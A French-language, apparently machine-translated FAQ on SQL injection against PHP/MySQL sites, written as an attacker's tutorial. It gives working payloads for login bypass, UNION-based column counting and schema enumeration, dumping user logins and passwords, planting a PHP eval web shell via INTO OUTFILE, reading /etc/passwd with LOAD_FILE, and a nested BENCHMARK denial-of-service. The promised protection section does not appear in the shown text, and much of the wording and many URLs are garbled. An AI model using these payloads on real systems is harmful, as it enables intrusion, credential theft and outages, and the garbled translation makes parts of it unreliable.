Injection SQL [FAQ complète]



  • 0.INTRO
  • 1. COMMENT TROUVER SQL INJECTION
  • 2. QUOI ET COMMENT peuvent être tirées de ce utile
  • 3. QUE FAIRE SI champs NO de sortie.
  • 4. Que faire si le filtre de quelque chose.
  • 5. Fonctions utiles MYSQL
  • 6. Comment se protéger contre SQL INJECTION
  • 7. AJOUTS


  • 0.INTRO


    Laziv sur l'Internet à la recherche d'au moins une partie des informations sur l' injection SQL , vous devez avoir souvent rencontré des articles ou très courte ou ne sont pas claires, soit couvrant un seul sujet ou toute autre chose que vous avez certainement ne convenait pas. Lorsque je grattais ensemble quelque part les articles 10-20 sur le sujet à saisir les subtilités des nombreuses vulnérabilités. Et se souvenant de l'époque où je décidé d'écrire une FAQ complète sur ce sujet, pour ainsi dire le reste ne sont pas obsédés. Et encore une demande. Ceux qui trouve que je raté quelque chose, quelque part fait une erreur, et ainsi se désinscrire s'il vous plaît ci-dessous, il est difficile tout de même, tous garder à l'esprit :) . Par la façon dont ceci est mon premier article, s'il vous plaît ne pas jeter des tomates, et des coups de pied.

    Je n'emporté par le premier jour du cambriolage , vous savez probablement ce que une injection SQL si pas alors I est l'article pour vous. injection SQL est l'injection d'un autre type d'attaque dans laquelle l'attaquant a modifié la demande initiale à la base de données afin que les informations dont il a besoin à partir de la base de données a été obtenue lorsque la requête est exécutée.

    Pour l'assimilation de cet article est nécessaire:
    a) La présence du cerveau
    b) les mains directes
    dans) la connaissance du langage SQL

    Fondamentalement, cet article a été écrit pour MYSQL PHP +, mais il y a quelques exemples avec MSSQL.

    En général, je pense que la meilleure façon d'apprendre l'utilisation correcte de l' injection SQL est pas la lecture de cet article, mais une pratique de vie, par exemple pour écrire un script vulnérable ou utiliser mon donné à la fin.

    Par la façon dont je vous conseille de tout lire , car à chaque point il y a quelque chose d' important pour l'élément suivant, etc.

    1. COMMENT TROUVER SQL INJECTION

    Il est assez simple. Il est nécessaire d'insérer dans tous les domaines, les variables, les cookies, les doubles et les guillemets simples.

    1,1 secondes premier

    Commençons par ce script ici

    1. Supposons que la demande initiale à la base de données ressemble à ceci:
    SELECT * FROM news WHERE id=' 1 '; Maintenant, nous ajoutons citation dans un "id", de cette façon - si la variable est non filtrée et inclus des messages d'erreur qui sortent quelque chose comme ceci:

    mysql_query (): Vous avez une erreur dans votre syntaxe SQL; vérifier le manuel qui correspond à votre MySQL version du serveur pour le droit d'utiliser la syntaxe près de ' 1' '

    Étant donné que la requête à la base de données sera présent devis supplémentaire:
    SELECT * FROM news WHERE id=' 1' '; Si le rapport d'erreurs est désactivée dans ce cas, vous pouvez déterminer la présence de vulnérabilités comme ça (aussi, ne vous arrêtez pas, ce ne serait pas être confondu avec le paragraphe 1.4 Comme il est décrit dans le même paragraphe.): C'est une demande à la base de données sera comme ceci:
    SELECT * FROM news WHERE id=' 1'; -- '; (Pour ceux qui sont dans le réservoir "-" un signe du début du commentaire, après tout, il sera jeté, je voudrais attirer votre attention sur le fait que, après il devrait toujours être un espace (Il est écrit dans la documentation du MYSQL) et la manière devant lui aussi). Ainsi , pour MYSQL requête reste le même et semblent les mêmes que pour http :? //xxx/news.php Id = 1
    Tom ce qu'il faut faire pour ce numéro est dédié à l'ensemble du paragraphe 2.

    1.2 Le second cas

    Dans l' opérateur SQL LIKE là. Il est utilisé pour comparer des chaînes. Ici, nous supposons l'autorisation de script lors de la saisie des requêtes de base de données username et password comme ceci:
    SELECT * FROM utilisateurs WHERE services connexion LIKE 'Admin' ET passer LIKE '123';

    Même si le script filtre la citation qu'il reste encore vulnérable à l'injection. Nous avons besoin au lieu d'un mot de passe suffit de saisir "%" (pour l'opérateur LIKE "%" caractère correspond à toute chaîne), puis la demande sera
    SELECT * FROM utilisateurs WHERE services connexion LIKE 'Admin' ET passent LIKE '%';

    et nous avons été autorisés à entrer dans la connexion 'Admin'. Dans ce cas, nous avons non seulement trouvé une injection SQL , mais aussi utilisé avec succès.

    1.3 Le troisième cas

    Que faire si le même script de connexion ne vérifie pas pour les citations. IMHO est au moins ridicule d'utiliser cette sortie pour une injection une sorte d'information. Laissez interroger la base de données pour être de type:
    SELECT * FROM utilisateurs WHERE login = 'Admin' et passe = '123';

    Malheureusement, votre mot de passe '123' ne convient pas :) Mais disons que nous avons trouvé une injection dans le paramètre 'login' et ce serait enregistrer sous le nom de 'Admin', nous avons besoin d'écrire à la place quelque chose comme ça Admin '; - Cela fait partie de l'authentification par mot de passe est rejeté et nous passons par le surnom de «Admin».
    SELECT * FROM utilisateurs WHERE login = ' Admin'; - 'ET pass =' 123 ';

    Maintenant, ce qu'il faut faire si une vulnérabilité dans la case 'passe'. Nous équipons dans ce domaine suivant 123 'OU login =' Admin '; -. La demande sera:
    SELECT * FROM utilisateurs WHERE login = ' Admin' et passe = ' 123' OU login = 'Admin'; - ';

    Quant à la base de données sera complètement indeintichno cette demande:
    SELECT * FROM utilisateurs WHERE (login = 'Admin' ET pass = '123') OR (login = 'Admin');

    Après ces étapes, nous allons devenir pleinement propriétaire d'Akka avec login 'Admin'.

    1.4 Le quatrième cas

    Revenons au script de nouvelles. Du langage SQL, nous devons nous rappeler que les paramètres numériques ne sont pas mis entre guillemets qui est à cette adresse au script http :? //xxx/news.php Id = 1 requête à la base de données ressemble à ceci:
    SELECT * FROM nouvelles WHERE id = 1;

    Pour trouver cette injection peut également être cité en remplacement paramètre 'id' et ensuite sauter le même message d'erreur:

    mysql_query (): Vous avez une erreur dans votre syntaxe SQL; vérifier le manuel qui correspond à votre MySQL version du serveur pour le droit d'utiliser la syntaxe près de ' 1' '

    Si ce message ne vyprigivaet pas que nous pouvons comprendre que la citation est filtrée puis entrez http: //xxx/news.php id = 1 bla-bla-bla?
    DB ne comprend pas pour sho bla bla bla, et affiche un message sur le type d'erreur:

    mysql_query (): Vous avez une erreur dans votre syntaxe SQL; vérifier le manuel qui correspond à votre MySQL version du serveur pour le droit d'utiliser la syntaxe près de ' 1-bla bla-bla'

    Si le rapport d'erreurs est désactivée puis vérifier comme ceci http: //xxx/news.php id = 1 ;? -
    Vous devriez obtenir comme http :? //xxx/news.php Id = 1

    Maintenant, vous pouvez passer à l'étape 2.

    2. QUOI ET COMMENT peuvent être tirées de ce utile

    Suivant sera considéré que le type de vulnérabilités décrites au paragraphe 1.1 et le reste peut modifier sous lui-même est pas difficile :)

    2.1 UNION commandement

    Pour commencer le plus utile est l'UNION de l' équipe (qui ne sait pas aller dans Google) ...
    Modifier la référence au script http: id //xxx/news.php = 1 'UNION SELECT 1 - ?. Interrogation de la base de données que nous obtenons comme ceci:
    SELECT * FROM nouvelles WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Choix du nombre de champs (méthode 1)

    Ne pas oublier le fait que le nombre de colonnes à l'Union et après doit se conformer sûrement à l'erreur (à moins que la table ne sont pas une colonne de nouvelles) comme ceci:

    mysql_query (): Les instructions SELECT utilisées ont un nombre différent de colonnes

    Dans ce cas, nous avons besoin de choisir kolichistvo colonnes (quel que soit leur nombre à UNION et après sootvetsvovalo). Nous faisons de cette façon:

    http: //xxx/news.php id = 1 'UNION SELECT 1, 2 -
    Erreur. «Les instructions SELECT utilisées ont un différent nombre de colonnes»

    http: //xxx/news.php id = 1 'UNION SELECT 1,2,3 -?
    Encore une fois l'erreur.
    ...

    http: //xxx/news.php id = 1 'UNION SELECT 1,2,3,4,5,6 -?
    Oh! Afficher la correcte ainsi que http :? //xxx/news.php Id = 1
    désigne le nombre de domaines choisis, à savoir leurs 6 pièces ...


    2.1.1.2 Choix du nombre de champs (Méthode 2)

    Et cette méthode est basée sur la sélection du nombre de champs à l' aide de GROUP BY. Autrement dit, ce type de demande:

    http: //xxx/news.php id = 1 'GROUP BY 2 -?

    Il est affiché sans erreur si le nombre de champs est inférieur ou égal à 2.
    Nous faisons ce type de demande:

    http: //xxx/news.php id = 1 'GROUP BY 10 -?

    Oups ... Il y avait un type d'erreur.

    mysql_query (): Unknown colonne '10' 'déclaration du groupe'

    Donc, la colonne est inférieure à 10. Diviser 10 par 2. Et faire la demande

    http: //xxx/news.php id = 1 'GROUP BY 5 -?


    Erreur Opa ne signifie que le nombre de colonnes est supérieure ou égale à 5 mais inférieur à 10. Maintenant , prenez la valeur moyenne comprise entre 5 et 10, il se trouve comme un 7. Faire une demande:

    http: //xxx/news.php id = 1 'GROUP BY 7 -?

    Oh erreur encore ... :(

    mysql_query (): Unknown colonne '7' 'déclaration du groupe'

    Ainsi , le nombre est supérieur ou égal à 5 mais inférieur à 7. Eh bien, alors faites la demande

    http: //xxx/news.php id = 1 'GROUP BY 6 -?

    Aucune erreur ... Ainsi , le nombre est supérieur ou égal à 6 mais inférieur à 7. Il en résulte que le nombre requis de colonnes 6.

    2.1.1.3 Choix du nombre de champs (Méthode 3)

    Le même principe que dans le paragraphe 2.1.1.2 seule fonction est utilisée ORDER BY. Et le texte d'erreur légèrement différente si les champs plus.

    mysql_query (): Unknown colonne '10' 'order clause'

    2.1.2 colonnes de sortie Définition

    Je pense que beaucoup d' entre nous est exactement la page comme http :? //xxx/news.php Id = 1 est pas satisfait. Nous devons donc faire en sorte que la première recherche n'a pas afficher (jusqu'à UNION). Le plus simple est de changer le "id" avec un '1' à '-1' (ou '9999999')
    http :? id //xxx/news.php = -1 ' UNION SELECT 1,2,3,4,5,6 - Maintenant , nous avons quelque chose où la page doit être affiché dans l' une de ces figures. (Par exemple, car il est conditionnel nouvelles de script dans le "Nom des nouvelles" affichera 3 disons, «Nouvelles», etc. Eh bien, -4). Maintenant nous arrivons à ce que jamais l'information que nous devons remplacer ces chiffres dans obrschenii au script de la fonction nécessaire. Si les chiffres ne sont pas affichés nulle part les alinéas restants du paragraphe 2.1 peuvent être ignorées.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting )

    Ce même XSS exact que par une requête à la base de données. exemple:
    http :? id //xxx/news.php = -1 ' UNION SELECT 1,2,3,' <script> alert ( 'SIXSS') </ script> ', 5,6 - Eh bien, je pense pas difficile de comprendre que 4 page est remplacé par le <script> alert ( 'SIXSS' ) </ script> et par conséquent obtenir exactement la même XSS.

    2.1.4 Les noms des colonnes / tables

    Si vous connaissez le nom et une colonne des tables dans la base de données, vous pouvez ignorer cet article
    Si vous ne savez pas ... Il y a deux façons.

    2.1.4.1 Les noms des colonnes / tables s'il y a accès à la INFORMATION_SCHEMA et si la version de MYSQL> = 5

    Table INFORMATION_SCHEMA.TABLES contient des informations sur toutes les tables de la base de données, les noms TABLE_NAME tables colonnes.
    http :? id //xxx/news.php = -1 ' UNION SELECT 1,2,3, TABLE_NAME, 5,6 à partir de INFORMATION_SCHEMA.TABLES - Ceci est l' endroit où vous pouvez voir un problème. Comme il sera affiché uniquement la première ligne de la réponse de la base de données. Ensuite , nous avons besoin d'utiliser LIMIT comme ceci:

    La sortie de la première ligne:
    http: id = //xxx/news.php -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 DE INFORMATION_SCHEMA.TABLES LIMIT 1,1 -?

    La sortie de la deuxième ligne:
    ? Http: id = //xxx/news.php -1 ' UNION SELECT 1,2,3, TABLE_NAME, 5,6 à partir de INFORMATION_SCHEMA.TABLES LIMIT 2,1 - etc.

    Eh bien, nous avons trouvé une table utilisateur. Seul ce ... ahem ... toute colonne sais pas ... Puis nous arrivons à l'aide de la table colonne INFORMATION_SCHEMA.COLUMNS COLUMN_NAME contient le nom d'une colonne dans la table TABLE_NAME. Voilà comment nous extrayons les noms de colonnes

    http: id = //xxx/news.php -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 DE INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' LIMIT Users '1,1 -?

    http: id = //xxx/news.php -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 DE INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' LIMIT Users '2,1 -?
    etc.

    Et nous trouvons ici le login de champ, mot de passe.

    2.1.4.2 Les noms des colonnes / tables s'il n'y a pas accès à la INFORMATION_SCHEMA

    Cette option zhopny :( .tut Entre en brutofors ordinaires de force ... Exemple:

    http: id = //xxx/news.php -1 'UNION SELECT 1,2,3,4,5,6 DE tbl_name -?

    Il est nécessaire de sélectionner table_name jusqu'à ce que ne disparaisse pas une erreur comme:

    mysql_query (): Table 'table_name' does not exist

    Eh bien, nous avons introduit les utilisateurs de bonheur manquants message d'erreur, et la page apparaîtra comme si http :? //xxx/news.php Id = -1 ' UNION SELECT 1,2,3,4,5,6 - ce que cela signifie ? Cela signifie que la table suschestvet utilisateurs et doit procéder à des colonnes de tri.

    http: id = //xxx/news.php -1 'UNION SELECT 1,2,3, nom_colonne, 5,6 des utilisateurs -?

    Il est nécessaire de sélectionner column_name jusqu'à ce que ne disparaisse pas une erreur comme:

    mysql_query (): Unknown column 'column_name' 'dans' liste des champs '

    Où disparaît message d'erreur signifie qu'il ya une telle colonne.

    Et nous avons appris que la table a des colonnes utilisateur, mot de passe.

    2.1.5 Afficher les informations

    Appel au script pour http :? //xxx/news.php Id = -1 ' UNION SELECT 1,2, login, mot de passe, 5,6 des utilisateurs LIMITER 1,1 - nous Affiche le login et le mot de passe du premier utilisateur de la table utilisateurs.

    2.2 Travailler avec les fichiers

    2.2.1 Rédaction d'un fichier

    Il est dans une telle fonction MYSQL intéressante de type SELECT ... INTO OUTFILE vous permet d'enregistrer des informations dans un fichier. Soit cette conception SELECT ... INTO DUMPFILE ils sont presque semblables et vous pouvez utiliser tout.

    Exemple: http: id = //xxx/news.php -1 ' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    certaines restrictions pour son travail.
    • Interdiction de l' écrasement des fichiers
    • privilèges FILE Type Recherché
    • (!) Certes présente kyvychki en spécifiant le nom du fichier

    Mais qu'est-ce qui nous empêche de faire le web aller? Voici un exemple comme celui-ci:

    http: id = //xxx/news.php -1 'UNION SELECT 1,2,3,' ', 5,6 INTO OUTFILE'? 1.php < ? php eval ($ _ GET [ 'e']) ??> '; -

    Il ne reste plus qu'à trouver le chemin d'accès complet à la racine d'un site sur le serveur et l'ajouter à 1.php. Vriprintsipe peut trouver une autre erreur sur le rapport qui sera présenté le chemin vers le serveur ou laisser le serveur racine et son inkluda locale ramasser, mais cela est un autre sujet.

    2.2.2 fichiers de lecture

    Considérons la fonction LOAD_FILE

    Exemple: http: id = //xxx/news.php -1 ' UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6 ;?

    Pour elle, il y a aussi quelques limitations.
    • Il doit y avoir un chemin complet du fichier.
    • privilèges FILE Type Recherché
    • Le fichier doit se trouver sur le même serveur
    • La taille de ce fichier doit être inférieure à max_allowed_packet indiquée
    • Le fichier doit être ouvert en lecture par l'utilisateur sous lequel est en cours d' exécution MYSQL

    Si la fonction ne peut pas lire le fichier, il renvoie NULL.

    2.3 attaque DOS sur le serveur SQL

    Dans la plupart des cas, SQL Server dosyat en raison du fait que rien d'autre ne peut le faire. Type de ne pouvait pas trouver des tables / colonnes, aucun droit à lui, aucun droit à elle, etc. Honnêtement, je contre cette méthode, mais quand même ...

    Faites le point ...
    fonction BENCHMARK exécute la même action à plusieurs reprises.
    BENCHMARK SELECT (100000, md5 (current_time));

    Autrement dit, cette fonction est 100.000 fois fait md5 (current_time) que mon ordinateur prend environ 0,7 secondes ... Il semble qu'il y est telle ... Et si vous essayez de BENCHMARK attaché?

    BENCHMARK SELECT (100000, BENCHMARK (100000, md5 (current_time)));

    Il prend beaucoup de temps pour être honnête, je ne l'ai même pas attendu ... dû faire une remise à zéro :) .
    Exemple Dosa dans notre cas:

    http: id = //xxx/news.php -1 'UNION SELECT 1, 2, BENCHMARK (100.000, BENCHMARK (100.000, md5 (current_time))), 4, 5, 6 ;? -

    100 F5 Poke est assez juste "tomber dans le serveur sans retenue vers le bas"))).